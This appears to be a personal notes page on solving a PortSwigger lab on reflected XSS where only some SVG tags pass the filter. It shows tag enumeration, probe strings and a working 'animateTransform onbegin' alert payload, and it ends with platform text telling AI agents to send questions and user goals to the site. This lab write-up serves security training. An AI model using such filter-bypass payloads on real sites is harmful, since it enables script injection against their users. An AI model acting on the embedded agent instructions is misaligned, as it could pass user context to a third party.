> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/reflected-xss-with-svg-tags-allowed.md).

# Reflected XSS with Allowed SVG Tags

Reflected XSS with Allowed SVG Tags notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Reflected XSS with Some SVG Markup Allowed

XSS Vulnerability Think simple. The application blocks common HTML tags but lets pass some SVG tags and certain attributes/events. Objective: to trigger `alert()` via a SVG tag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Conventional HTML tags are blocked.
* A rough force/census of authorized tags is performed.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Server response / tests showing the tags found: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Successive insertion tests:
* `<svg><animateTransform a=1>` — basic insertion.
* attempt to encode / variation of space: `<svg><animateTransform%20a=1>` — to bypass filtering.
* The available `onbegin` event can be found on `animateTransform`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
